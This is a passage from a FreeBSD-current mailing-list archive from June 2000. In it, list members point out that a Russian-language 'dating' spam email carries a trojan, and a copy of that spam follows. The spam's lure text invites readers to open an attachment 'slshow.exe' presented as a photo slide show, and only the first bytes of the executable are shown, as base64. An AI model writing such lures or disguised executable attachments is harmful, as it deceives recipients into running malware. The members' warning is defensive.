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 9IZ8dBNPSEGtTeN8/QejGM+fo1+gOZu16mf/2f8= --utlcnuhhihpfouam-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 18:10: 5 2000 Delivered-To: freebsd-current@freebsd.org Received: from pozo.com (pozo.com [216.101.162.50]) by hub.freebsd.org (Postfix) with ESMTP id AFAA737B74D for ; Sat, 24 Jun 2000 18:09:55 -0700 (PDT) (envelope-from null@pozo.com) Received: from dual.pozo.com (dual.pozo.com [216.101.162.51]) by pozo.com (8.9.3/8.9.3) with ESMTP id SAA03987; Sat, 24 Jun 2000 18:09:52 -0700 (PDT) (envelope-from null@pozo.com) Message-Id: <4.3.2.7.2.20000624180908.00b1b2a0@pozo.com> X-Sender: null@pozo.com X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Sat, 24 Jun 2000 18:09:51 -0700 To: Joe , freebsd-current@FreeBSD.ORG From: Manfred Antar Subject: Re: Anybody notice? Was:Re: =?iso-8859-1?Q?=E7=ED=E0=EA=EE=EC=F1=F2=E2=EE?= In-Reply-To: <20000624195122.A1045@team7.cba.ualr.edu> References: <36702.187400810188800.457@localhost> <36702.187400810188800.457@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG At 07:51 PM 6/24/2000 -0500, Joe wrote: >Anybody notice that this guy is sending a trojan as an attachment? > >-Joe > >On Sun, Jun 25, 2000 at 04:29:51AM +0300, nady@mailru.com wrote: >> >> J nikogda ne pytalas% poznakomit%sJ v internete, no resilas% poprobyvat%. Zivu v Moskve, ucus%. >> Mne 19 let. Ne znaj, cego mne ne hvataet, mozet prosto obseniJ , a mozet laski i vnimaniJ. >> J daze ne znaj, cto o sebe napisat%, vrode ne dura, a ne mogu. J dostatocno kriticno (to est% >> sebe ne nravljs%) otnosus% k svoej vnesnosti, no predostavlj tebe ocenit% ee.(ehe- jto slajd sou) >> Yes I've had it picked up by Norton Anti Virus twice today. ================================== || null@pozo.com || || Ph. (415) 681-6235 || ================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Sat Jun 24 18:18:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from dialup.ptt.ru (dialup.ptt.ru [195.34.0.100]) by hub.freebsd.org (Postfix) with SMTP id 6F4B437B537 for ; Sat, 24 Jun 2000 18:18:34 -0700 (PDT) (envelope-from nady@mailru.com) Received: (qmail 6670 invoked from network); 25 Jun 2000 00:33:45 -0000 Received: from dialup-27192.dialup.ptt.ru (HELO computer) (195.34.27.192) by dialup.ptt.ru with SMTP; 25 Jun 2000 00:33:45 -0000 To: Íåçíàêîìåö@FreeBSD.ORG From: nady@mailru.com Subject: çíàêîìñòâî Date: Sun, 25 Jun 2000 04:33:36 +0300 Message-Id: <36702.190005902777600.624@localhost> MIME-Version: 1.0 Content-Type: multipart/mixed; boundary=utlcnuhhihpfouam Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --utlcnuhhihpfouam Content-Type: text/plain; charset=windows-1251 Content-Transfer-Encoding: 8bit ß íèêîãäà íå ïûòàëàñü ïîçíàêîìèòüñß â èíòåðíåòå, íî ðåøèëàñü ïîïðîáûâàòü. Æèâó â Ìîñêâå, ó÷óñü. Ìíå 19 ëåò. Íå çíàþ, ÷åãî ìíå íå õâàòàåò, ìîæåò ïðîñòî îáùåíèß , à ìîæåò ëàñêè è âíèìàíèß. ß äàæå íå çíàþ, ÷òî î ñåáå íàïèñàòü, âðîäå íå äóðà, à íå ìîãó. ß äîñòàòî÷íî êðèòè÷íî (òî åñòü ñåáå íå íðàâëþñü) îòíîøóñü ê ñâîåé âíåøíîñòè, íî ïðåäîñòàâëþ òåáå îöåíèòü åå.(åõå- ýòî ñëàéä øîó) --utlcnuhhihpfouam Content-Type: application/x-msdownload; name="slshow.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="slshow.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5v 